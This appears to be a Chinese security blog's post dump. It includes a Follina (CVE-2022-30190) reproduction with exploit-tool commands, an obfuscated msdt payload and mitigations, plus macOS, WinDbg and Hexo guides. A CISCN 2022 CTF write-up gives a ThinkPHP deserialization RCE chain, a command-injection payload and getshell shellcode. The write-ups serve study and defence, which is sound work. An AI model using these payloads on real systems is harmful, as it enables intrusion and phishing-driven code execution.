这是一种类似DOC格式(Word文档)的文件,有很好的兼容性,使用Windows“附件”中的“写字板”就能打开并进行编辑。 使用“写字板”打开一个RTF格式文件时,将看到文件的内容;如果要查看RTF格式文件的源代码,只要使用“记事本”将它打开就行了 影响版本: 目前难以全面统计该 cve 影响的Office版本,微软官方尚公布该 cve 波及的具体范围。经安天CERT分析人员验证,确认受该 cve 影响的版本如下: Microsoft Office 2013 Service Pack 1 (64-bit edition) Microsoft Office 2013 Service Pack 1 (32-bit edition) Microsoft Office 2016 (64-bit edition) Microsoft Office 2016 (32-bit edition) Microsoft Office LTSC 2021 for 32-bit edition Microsoft Office LTSC 2021 for 64-bit edition 复现我这里复现用的版本是:office Microsoft Office LTSC 专业增强版 2021 Poc:https://github.com/chvancooten/follina.py 提供了很多利用方法 Usage: 123456789101112131415161718192021222324$ python .\\follina.py -husage: follina.py [-h] -m {command,binary} [-b BINARY] [-c COMMAND] -t {rtf,docx} [-u URL] [-H HOST] [-P PORT]options: -h, --help show this help message and exitRequired Arguments: -m {command,binary}, --mode {command,binary} Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS commandBinary Execution Arguments: -b BINARY, --binary BINARY The full path of the binary to run. Can be local or remote from an SMB shareCommand Execution Arguments: -c COMMAND, --command COMMAND The encoded command to execute in "command" modeOptional Arguments: -t {rtf,docx}, --type {rtf,docx} The type of payload to use, can be "docx" or "rtf" -u URL, --url URL The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost". Disables web server if custom URL scheme or path are specified -H HOST, --host HOST The interface for the web server to listen on, defaults to all interfaces (0.0.0.0) -P PORT, --port PORT The port to run the HTTP server on, defaults to 80 执行命令 1python .\\follina.py -m command -c calc -t docx 可以通过 -c 参数指定 cs 的 powershell 代码上线 cs 执行二进制文件 1python follina.py -m binary -b \\windows\\system32\\calc.exe -H 0.0.0.0 -P 8080 -t docx 生成 docx 文档后点击 Poc 分析分析 Python 代码首先根据 -H -p 参数指定的 IP 和端口生成 payload_url,url 就是生成的 exploit.html 文件位置 在上面的代码中可以看到如果指定模式为 command 就会拼接ms-msdt:开头的字符串,然后调用 generate docx 其实就是将 payload_url 拼接到 document.xml-rels.tpl 中然后生成 word 文件 之前搞过 邮 件 钓 鱼 的同学都应该很清除这里的逻辑是向word\\_rels\\document.xml.rels写一个远程模板地址,CobaltStrike使用:第三篇使用CS进行用户驱动攻击(钓鱼攻击) 在来看一下这个 exploit.html 的具体内容,可以看到ms-msdt开头的字符串被拼接到了<script>标签中,然后调整转到这个伪协议 ms-msdt 协议在注册表中找到,其 command 是"%SystemRoot%\\system32\\msdt.exe" % 1 msdt.exe 是微软支持诊断工具,官网文档 官网文档中给出了语法参数对照 payload 1msdt.exe /id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe" /id PCWDiagnostic表示运行 PCWDiagnostic 诊断包 大概意思就是该部分表示要在故障排除阶段运行的脚本,发生故障即触发 payload 中的 powershell 代码 修复禁用MSDT URL协议 以管理员身份运行命令提示符 备份注册表项后,执行命令:reg export HKEY_CLASSES_ROOT\\ms-msdt filename 再执行命令:reg delete HKEY_CLASSES_ROOT\\ms-msdt /f 若需要撤销禁用则用管理员身份打开cmd执行:reg import filename 受本次 RCE 影响的Office版本目前不便统计,且暂无官方补丁,由此判断:该漏洞后续被利用的可能性较大。鉴于本次漏洞影响十分广泛且危害较大,安天CERT给出下列建议: 谨慎下载及打开来源不明或内容可疑的文档; 关闭资源管理器的文件内容预览功能; 更新终端防病毒程序(及)病毒库; 禁用ms-msdt功能,并取消对应的rtf文件类型关联。 Follina Microsoft Office RCE with MS-MSDT Protocol Microsoft Office 远程代码执行(CVE-2022-30190)风险提示 公众号:红队蓝军,Windows支持诊断工具(MSDT)远程代码执行(CVE-2022-30190)分析复现_修复","categories":[{"name":"钓鱼","slug":"钓鱼","permalink":"https://oceansec.github.io/categories/%E9%92%93%E9%B1%BC/"}],"tags":[{"name":"Windows","slug":"Windows","permalink":"https://oceansec.github.io/tags/Windows/"}]},{"title":"机械革命z2黑苹果改造计划第三番-macOS键盘快捷键&Win键盘适配","slug":"macOS键盘快捷键&Win键盘适配","date":"2023-12-05T02:59:04.848Z","updated":"2023-02-20T10:55:21.700Z","comments":true,"path":"2023/12/05/macOS键盘快捷键&Win键盘适配/","link":"","permalink":"https://oceansec.github.io/2023/12/05/macOS%E9%94%AE%E7%9B%98%E5%BF%AB%E6%8D%B7%E9%94%AE&Win%E9%94%AE%E7%9B%98%E9%80%82%E9%85%8D/","excerpt":"","text":"macOS键盘快捷键&Win键盘适配键盘区别首先下图是苹果妙控键盘无指纹版,官网售价699,穷学生的我是真的买不起 然后下图是我正在使用的机械键盘ikbc w200 87键版本 可以看出两者在键位排列上的区别主要在于 win/command 键,在macOS中大多数快捷键由 command + 其他键组成,等同于使用win键盘的 win + 其他键位,苹果键盘的option就是win键盘的Alt 快捷键苹果官网也给出了文档:链接 接下来介绍一些macOS的实用快捷键,其实很多快捷键和Windows一样 command + c:复制 +v 粘贴,注意macOS中没有文件剪切command + x只能用于文字剪切 先command + c 复制文件,然后 option + command + v 移动文件 command + 空格:显示或隐藏「聚焦」搜索栏,用过utools的都知道啦,在macOS中也有utools类似工具如:alfred、hapigo command + shift + 3/4/5分别代表:全屏/区域/窗口截屏,同时按 ctrl 可以将截图保存为剪贴板(确实难按的过来) command + q:退出应用,option + command + esc:强制结束进程 command + m:当前窗口最小化至程序坞,command + h 隐藏程序 在macos中选中文件按Enter并不能打开而是重命名 command + shift + n:新建文件夹 command + d:复制(win中ctrl+d为删除文件) command + delete:删除文件 Command + 上箭头:打开包含当前文件夹的文件夹Command + 下箭头:打开所选项 command + 左箭头:文件编辑时移至行首,右箭头移至行尾 command + F7/F8:音量加减 scrlk:减少屏幕亮度,pasue:增加屏幕亮度 caps:中英文切换,按住shift大写 在文件、图片、视频等一些文件选中按空格键可以快速预览,俗称「一指禅」 mac终端光标移动的快捷键 将光标移动到行首:control + a 将光标移动到行尾:control + e 清除屏幕:control + l 搜索以前使用命令:control + r 清除当前行:control + u 键盘设置在mac键盘中command键紧挨着空格左边,Windows键盘则是中间加了个alt键,不适应的macOS中可以修改: 系统偏好设置-键盘-更改键盘类型 鼠标设置还有就是鼠标滚轮方向和Windows是反着的,这点macOS是和触控板一样的,模拟手指滑动,mac的妙控鼠标也是触控的,如果不用触控板的话可以在设置中修改: 系统偏好设置-鼠标-自然滚动取消 不过有一说一Mac的触控板是真的好用,闲鱼上有二手的妙控鼠标2代在200左右,二手的magic trackpad 1代在250左右,二代都在400左右,真的好贵,还是乖乖用的自己键鼠吧 因为经常要用到终端,可以将终端添加到访达的服务中,这样在文件夹右击就可以打开终端,十分的方便","categories":[{"name":"黑苹果","slug":"黑苹果","permalink":"https://oceansec.github.io/categories/%E9%BB%91%E8%8B%B9%E6%9E%9C/"}],"tags":[{"name":"黑苹果","slug":"黑苹果","permalink":"https://oceansec.github.io/tags/%E9%BB%91%E8%8B%B9%E6%9E%9C/"}]},{"title":"macos 环境下搭建 windbg 虚拟机双机调试环境","slug":"macos 环境下搭建 windbg 虚拟机双机调试环境","date":"2023-12-05T02:59:04.846Z","updated":"2022-09-19T09:31:09.710Z","comments":true,"path":"2023/12/05/macos 环境下搭建 windbg 虚拟机双机调试环境/","link":"","permalink":"https://oceansec.github.io/2023/12/05/macos%20%E7%8E%AF%E5%A2%83%E4%B8%8B%E6%90%AD%E5%BB%BA%20windbg%20%E8%99%9A%E6%8B%9F%E6%9C%BA%E5%8F%8C%E6%9C%BA%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83/","excerpt":"","text":"本次使用将在 macos 环境下搭建 windbg 虚拟机双机调试环境,和 windows 调试略有区别,关于 windows 虚拟机双机调试可以看上一篇文章 实验环境 物理机:MacBoob+vmfusion 专业版 12.1.0 调试机:win10 x64+windbg preview 目标机器(被调试机):win7 x64 环境搭建 设置虚拟机串口,首先找到虚拟机所在包 选择机器右击在 finder 中打开(因为我这里截图按到了 command 键所以变成了打开最新的日志文件) 找到调试机器和目标机器右击显示包内容,找到对应的虚拟机名.vmx文件并打开 调试机器设置 删除原有的包含 “serial0 “ 的配置行,替换为以下内容 123456serial0.present = "TRUE"serial0.fileType = "pipe"serial0.fileName = "/Users/{name}/com1"serial0.yieldOnMsrRead = "TRUE"serial0.tryNoRxLoss = "FALSE"serial0.pipe.endPoint = "client" 被调试机器 12345serial0.fileName = "/Users/{name}/com1"serial0.present = "TRUE"serial0.fileType = "pipe"serial0.yieldOnMsrRead = "TRUE"serial0.startConnected = "TRUE" 注意:这里 {name} 需要更换为自己的用户名,虚拟机处于关闭或挂起状态才可以修改该配置文件 被调试机设置开启串口,以管理员身份打开 cmd,执行以下命令 1234567bcdedit /enum ACTIVEbcdedit /dbgsettings serial baudrate:115200 debugport:1bcdedit /copy {current} /d "Windows Debug Entry"bcdedit /displayorder {current} {上一行的id}bcdedit /debug {上一行的id} ONbcdedit -set TESTSIGNING onbcdedit /dbgsettings 命令执行完毕后,重启系统,开机时出现新的启动项即为正常 调试机器设置 计算机管理 -> 设备管理器 -> 端口 -> 通信端口 -> 端口设置 设置位/秒为 115200 打开 windbg preview attach to kernel 注意此时被调试机处于开机选择启动项界面,选择 windows debug entry 之后就可以愉快的调试了","categories":[{"name":"内网","slug":"内网","permalink":"https://oceansec.github.io/categories/%E5%86%85%E7%BD%91/"}],"tags":[{"name":"环境搭建,调试","slug":"环境搭建-调试","permalink":"https://oceansec.github.io/tags/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA-%E8%B0%83%E8%AF%95/"}]},{"title":"Hexo博客搭建部署GitHub","slug":"hexo博客搭建部署GitHub","date":"2023-12-05T02:59:04.844Z","updated":"2023-02-15T06:50:25.690Z","comments":true,"path":"2023/12/05/hexo博客搭建部署GitHub/","link":"","permalink":"https://oceansec.github.io/2023/12/05/hexo%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA%E9%83%A8%E7%BD%B2GitHub/","excerpt":"","text":"Hexo博客Hexo是一个简洁的静态博客页面,使用markdown渲染文件,在本地生产静态文件后可以部署到GitHub上,这样不需要占用自己的域名和服务器,其实我在很早之前就换用了hexo,原来的博客在csdn,oceansec.blog.csdn.net,新博客在GitHub oceansec.github.io,一直也没去搞篇文章去总结,这篇文章去整理下如何搭建自己的hexo博客 hexo官方文档在这 1.安装NodeJS首先要知道的是的hexo是就有nodejs的,要安装nodejs,macos安装brew后可以使用以下命令直接安装nodejs 1brew install node 安装成功后可以使用node -v命令查看安装版本确认安装成功 未安装brew的,可以使用以下命令去安装 1/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" 2.安装gitmacos是自带git工具的,windows可以在官网下载后图形化安装,使用git -version判断安装是否成功,Windows可能需要设置环境变量 macos也可以使用brew去安装和管理git,安装命令如下 1brew install git 3.安装Hexo选择一个文件夹作为自己博客的目录,在终端中打开,输入以下命令安装hexo 1npm install -g hexo-cli 安装后进行初始化操作,会自动在github上下载项目 1hexo init 之后输入hexo g生成静态网页,hexo s启动本地服务器进行测试4 到这一步博客就在本地搭建完成了,接下来要做的就是可以根据自己的喜好选择博客模版主题 4.替换主题主题在网上一搜就有的是,github上看看,以我使用的pure主题为例,首先将主题文件下载到本地,解压到hexo目录下的themes目录下 然后修改配置文件启用主题即可,在 Hexo 中主要有两份配置文件,其名称都是 _config.yml。 一份位于博客根目录下,主要包含 Hexo 本身的配置;另一份位于主题根目录下,主要用于配置主题相关的选项 打开_config.yml,找到如下项进行修改 12language: zh-CN //设置主题为中文版,若使用英文版则不修改theme: hexo-theme-pure //修改hexo主题 在hexo目录下启动终端,使用如下命令清除原来的缓存文件,并渲染新主题 1hexo clean&hexo s 下图就是已经启用新文件更换主题后效果 5.配置主题 将主题目录中 /theme/_source/ 下的所有东西复制进博客根目录的source文件夹中 配置个人信息,在主题目录下的__config.yml是主题的配置文件,根据注释配置即可 6.放入文章博客文章格式为md,放在source/_posts/目录下即可 因为hexo是静态博客,所以每次对博客做出改变后都需要清除原来的缓存重新生成一次 12hexo cleanhexo g 这样博客就搭建完成了,只需要上传到GitHub上就OK了 7.部署至GitHub目前博客只是搭建渲染本地可以跑起来了,接下来就需要部署到GitHub pages界面 GitHub Pages是GitHub提供的一个网页寄存服务,于2008年推出。可以用于存放静态网页,包括博客、项目文档甚至整本书 首先肯定是需要有一个GitHub账号,然后去新建一个仓库 仓库名必须和自己的用户名一致,这个与域名有关,GitHub pages域名就是:用户名.github.io 点击create创建仓库,之后还需要上传静态页面到GitHub,需要修改hexo目录下的配置文件(不是主题下的配置文件) 1234deploy: type: git repo: # 你的github仓库的URL地址 #repo: [email protected]:用户名/用户名.github.io.git branch: master 当然也不只只有这一种配置方法,这样比较简单,之后可以使用hexo d命令将页面上传至GitHub 8.配置ssh密钥在原来的配置下使用hexo d会发现没吃部署都需要输入GitHub用户名和密码,怎么才能减少麻烦呢,GitHub已经为我们提供了解决方法:使用ssh密钥连接 12ssh-keygen -t rsacat ~/.ssh/id_rsa.pub github添加ssh公钥 方法一: 在个人profile里添加公钥 1Your profile -> SSH and GPG keys -> New SSH key -> 复制生成的公钥 -> 方法二: 项目的设置里面添加 1Settings -> Deploy keys -> Add Deploy key -> 复制公钥 -> 勾选Allow write access -> Add new 设置好之后可以可以使用以下命令测试 1ssh -T [email protected] 认证成功说明配置正确,重新使用命令hexo d,这样整个博客就搭建完成并部署到GitHub了,使用域名:用户名.github.io 访问即可,如果使用部署时仍然需要输入用户名和密码则是配置文件配置有问题,重新检查上一步配置文件是否正确即可","categories":[{"name":"博客搭建","slug":"博客搭建","permalink":"https://oceansec.github.io/categories/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/"}],"tags":[{"name":"博客搭建","slug":"博客搭建","permalink":"https://oceansec.github.io/tags/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/"}]},{"title":"2022 CISCN 创新能力实践赛初赛WP","slug":"2022 CISCN 创新能力实践赛初赛WP","date":"2023-12-05T02:59:04.842Z","updated":"2022-08-13T12:37:33.630Z","comments":true,"path":"2023/12/05/2022 CISCN 创新能力实践赛初赛WP/","link":"","permalink":"https://oceansec.github.io/2023/12/05/2022%20CISCN%20%E5%88%9B%E6%96%B0%E8%83%BD%E5%8A%9B%E5%AE%9E%E8%B7%B5%E8%B5%9B%E5%88%9D%E8%B5%9BWP/","excerpt":"","text":"WP来自齐鲁师范学院网络安全社团 MISCez_usb 文件-导出特定分组 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143tshark -r 2.8.1.pcapng -T fields -e usb.capdat > 2.8.1.txtimport os,sysnormalKeys = { "04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9", "27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\\t", "2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\", "32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".", "38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>", "3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>", "44":"<F11>","45":"<F12>"}shiftKeys = { "04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")", "28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\\t","2c":"<SPACE>", "2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":""", "34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>", "3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>", "41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"} #pcapFilePath = sys.argv[1]#os.system("tshark -r "+pcapFilePath+" -T fields -e usb.capdata | sed '/^\\s*$/d' > out.txt")output = []keys = open('./2.8.1.txt')for line in keys: line = ''.join(line[i:i+2]+':' for i in range(0,len(line)-1,2)).strip(':') try: if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00": continue if line[6:8] in normalKeys.keys(): output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2'] else: output += ['[unknown]'] except: pass keys.close() flag=0#print("".join(output))for i in range(len(output)): try: a=output.index('<DEL>') del output[a] del output[a-1] except: pass for i in range(len(output)): try: if output[i]=="<CAP>": flag+=1 output.pop(i) if flag==2: flag=0 if flag!=0: output[i]=output[i].upper() except: pass print ('output :' + "".join(output))os.system("rm -rf 2.8.1.txt") 得到加密的压缩包,同样方式提取 得到压缩包密码 output :35c535765e50074a 解密得到flag flag{20de17cc-d2c1-4b61-bebd-41159ed7172d} everlasting_nightstegsolve 查看图片发现 得到一个密码,考虑 lsb 隐写加密 1python2 lsb.py extract everlasting_night.png out.txt f78dcd383f1b574b 得到 zip,发现被加密,想到 png 后面还有一串字符没用 经过各种尝试最后发现是 md5,somd5 解密就好了得到压缩包密码 ohhWh04m1 010 打开发现 png 但是不是正常的图片,gimp 打开看一下 flag{607f41da-e849-4c0b-8867-1b3c74536cc4} babydisk附件是 vmdk 文件,可以直接拿 Diskgenius 挂载,也可以使用 winhex 等等。这里我使用 DiskGenius 挂载 挂载后能看到有个 wav 右击-复制到桌面可以提取出来,010 查看没啥东西,wav 的隐写有 deepsound 和 silenteye 或者还有其他,先用deepsound 试一下,用 deepsound 打开如果能显示存在密码说明就是 deepsound 隐写的 现在的问题是需要一个密码,那就谷歌搜一下 里面的文章恰好完成了我们的需求 https://blog.csdn.net/weixin_45696568/article/details/118573215 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261#!/usr/bin/env python3'''deepsound2john extracts password hashes from audio files containing encrypteddata steganographically embedded by DeepSound (http://jpinsoft.net/deepsound/).This method is known to work with files created by DeepSound 2.0.Input files should be in .wav format. Hashes can be recovered from audio fileseven after conversion from other formats, e.g., ffmpeg -i input output.wavUsage: python3 deepsound2john.py carrier.wav > hashes.txt john hashes.txtThis software is copyright (c) 2018 Ryan Govostes <[email protected]>, andit is hereby released to the general public under the following terms:Redistribution and use in source and binary forms, with or withoutmodification, are permitted.''' import loggingimport osimport sysimport textwrap def decode_data_low(buf): return buf[::2] def decode_data_normal(buf): out = bytearray() for i in range(0, len(buf), 4): out.append((buf[i] & 15) << 4 | (buf[i + 2] & 15)) return out def decode_data_high(buf): out = bytearray() for i in range(0, len(buf), 8): out.append((buf[i] & 3) << 6 | (buf[i + 2] & 3) << 4 \\ | (buf[i + 4] & 3) << 2 | (buf[i + 6] & 3)) return out def is_magic(buf):# This is a more efficient way of testing for the `DSCF` magic header without# decoding the whole buffer return (buf[0] & 15) == (68 >> 4) and (buf[2] & 15) == (68 & 15) \\ and (buf[4] & 15) == (83 >> 4) and (buf[6] & 15) == (83 & 15) \\ and (buf[8] & 15) == (67 >> 4) and (buf[10] & 15) == (67 & 15) \\ and (buf[12] & 15) == (70 >> 4) and (buf[14] & 15) == (70 & 15) def is_wave(buf): return buf[0:4] == b'RIFF' and buf[8:12] == b'WAVE' def process_deepsound_file(f): bname = os.path.basename(f.name) logger = logging.getLogger(bname) # Check if it's a .wav file buf = f.read(12) if not is_wave(buf): global convert_warn logger.error('file not in .wav format') convert_warn = True return f.seek(0, os.SEEK_SET) # Scan for the marker... hdrsz = 104 hdr = None while True: off = f.tell() buf = f.read(hdrsz) if len(buf) < hdrsz: break if is_magic(buf): hdr = decode_data_normal(buf) logger.info('found DeepSound header at offset %i', off) break f.seek(-hdrsz + 1, os.SEEK_CUR) if hdr is None: logger.warn('does not appear to be a DeepSound file') return # Check some header fields mode = hdr[4] encrypted = hdr[5] modes = {2: 'low', 4: 'normal', 8: 'high'} if mode in modes: logger.info('data is encoded in %s-quality mode', modes[mode]) else: logger.error('unexpected data encoding mode %i', modes[mode]) return if encrypted == 0: logger.warn('file is not encrypted') return elif encrypted != 1: logger.error('unexpected encryption flag %i', encrypted) return sha1 = hdr[6:6+20] print('%s:$dynamic_1529$%s' % (bname, sha1.hex()))if __name__ == '__main__': import argparse parser = argparse.ArgumentParser() parser.add_argument('--verbose', '-v', action='store_true') parser.add_argument('files', nargs='+', metavar='file', type=argparse.FileType('rb', bufsize=4096)) args = parser.parse_args() if args.verbose: logging.basicConfig(level=logging.INFO) else: logging.basicConfig(level=logging.WARN) convert_warn = False for f in args.files: process_deepsound_file(f) if convert_warn: print(textwrap.dedent(''' --------------------------------------------------------------- Some files were not in .wav format. Try converting them to .wav and try again. You can use: ffmpeg -i input output.wav --------------------------------------------------------------- '''.rstrip()), file=sys.stderr) 先使用脚本获取一 hash 再用 john 爆破就好了 得到密码是 feedback 得到 key.txt 这个时候拿到 key 肯定是要解密什么东西,思考一下现在可以利用的东西,音频已经解完了,可能是 vmdk 还有什么东西没有发现,然后使用 FTK 挂载一下 在回收站发现了两个文件,导出看一下,结合刚刚拿到的密码想到可以用 veracrypt 或者是 Truecrypt (具体名字忘了),经过尝试可以用 vera 挂载,$RDWTTK4 这个文件可以成功挂载 spiral 是一个 zip,然后发现里面的数据很乱 下面是复现部分。 搜索一下spiral https://blog.csdn.net/GW_wg/article/details/120406192 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263def function(n): matrix = [[0] * n for _ in range(n)] number = 1 left, right, up, down = 0, n - 1, 0, n - 1 while left < right and up < down: # 从左到右 for i in range(left, right): matrix[up][i] = number number += 1 # 从上到下 for i in range(up, down): matrix[i][right] = number number += 1 # 从右向左 for i in range(right, left, -1): matrix[down][i] = number number += 1 for i in range(down, up, -1): matrix[i][left] = number number += 1 left += 1 right -= 1 up += 1 down -= 1 # n 为奇数的时候,正方形中间会有个单独的空格需要单独填充 if n % 2 != 0: matrix[n // 2][n // 2] = number return matrix WEBEzpop扫目录发现 www.zip,下载源码进行审计,结合题目提示发现是 tp 的旧有漏洞,去找网上的利用链 poc 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879<?phpnamespace think\\model\\concern; trait Attribute{ private $data = ["key" => ["key1" => "cat /f*"]]; private $withAttr = ["key"=>["key1"=>"system"]]; protected $json = ["key"];}trait ModelEvent{ protected $withEvent;} namespace think; abstract class Model{ use model\\concern\\Attribute; use model\\concern\\ModelEvent; private $exists; private $force; private $lazySave; protected $suffix; function __construct($a = '') { $this->exists = true; $this->force = true; $this->lazySave = true; $this->withEvent = false; $this->suffix = $a; }} namespace think\\model; use think\\Model; class Pivot extends Model{} echo urlencode(serialize(new Pivot(new Pivot())));?> 生成 poc 1a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A24%3A%22cat+..%2F..%2F..%2F..%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A24%3A%22cat+..%2F..%2F..%2F..%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D 访问路由 index.php/index/test online_crt下载代码进行审计 app.py [email protected]('/getcrt', methods=['GET', 'POST'])def upload(): Country = request.form.get("Country", "CN") Province = request.form.get("Province", "a") City = request.form.get("City", "a") OrganizationalName = request.form.get("OrganizationalName", "a") CommonName = request.form.get("CommonName", "a") EmailAddress = request.form.get("EmailAddress", "a") return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress) 生成 crt 证书 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081@app.route('/createlink', methods=['GET'])def info(): json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()} return json.dumps(json_data) @app.route('/proxy', methods=['GET'])def proxy(): uri = request.form.get("uri", "/") client = socket.socket() client.connect(('localhost', 8887)) msg = f'''GET {uri} HTTP/1.1Host: test_api_hostUser-Agent: GuestAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close ''' client.send(msg.encode()) data = client.recv(2048) client.close() return data.decode()可以访问内网 8887 端口的 go 服务func admin(c *gin.Context) { staticPath := "/app/static/crt/" oldname := c.DefaultQuery("oldname", "") newname := c.DefaultQuery("newname", "") if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") { c.String(500, "error") return } if c.Request.URL.RawPath != "" && c.Request.Host == "admin" { err := os.Rename(staticPath+oldname, staticPath+newname) if err != nil { return } c.String(200, newname) return } c.String(200, "no")} 可以看到 admin 函数替换名字,也就是说文件名称是可以控制的 也就是说题目重点也是我们可以操作的点就是:app.py 的 info 函数 ls 进行列目录 c_rehash 扫描指定目录列表中的.pem,.crt,.cer及.crl文件并为这些文件计算hash值,并以计算出的hash值为名字为这些文件创建符号连接。(如果你的操作平台不支持符号连接,则执行的是一个拷贝。)这个功能像很多程序一样有用,对于使用OpenSSL要求建立的目录,其目的是找到证书。 访问内网 go 服务需要使用 get 请求加上 post 下的参数,使用 clrf 发完整的 http 包 最终 payload 1uri=/admin/renam%25%36%35?oldname=6feee645-87d2-411f-bc5d-13501b3eae98.crt%26newname="||echo%25%32%30Y2F0IC9mbGFn|base64%25%32%30-d|sh||".crt%20HTTP/1.1%0aHost: admin%0aAa:%0a%0a 首先访问 getcrt 生成 crt 文件,发包去替换 crt 文件名 然后 createlink 去执行命令看到 flag PWNlogin-nomal通过菜单功能 1 获得 root 权限,通过功能 2mmap 一段可读可写可执行权限的地址,并且发现里面有对于输入内容是否为可视字符的 check,使用 alpha3 生成 shellcode 以后 getshell 123456789101112131415from pwn import *p = process('./pwn')payload1 = "msg:ro0tt\\nopt:1\\n"p.sendline(payload1)sc = "Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070tt"payload2 = "msg:"+sc+"\\nopt:2\\n"p.sendline(payload2)p.interactive() CRY基于挑战码的双向认证1 非预期 用户名密码均为player cd /root/cube-shell/instance/flag_server 直接 catflag 即可 基于挑战码的双向认证2非预期 cat flag2.txt 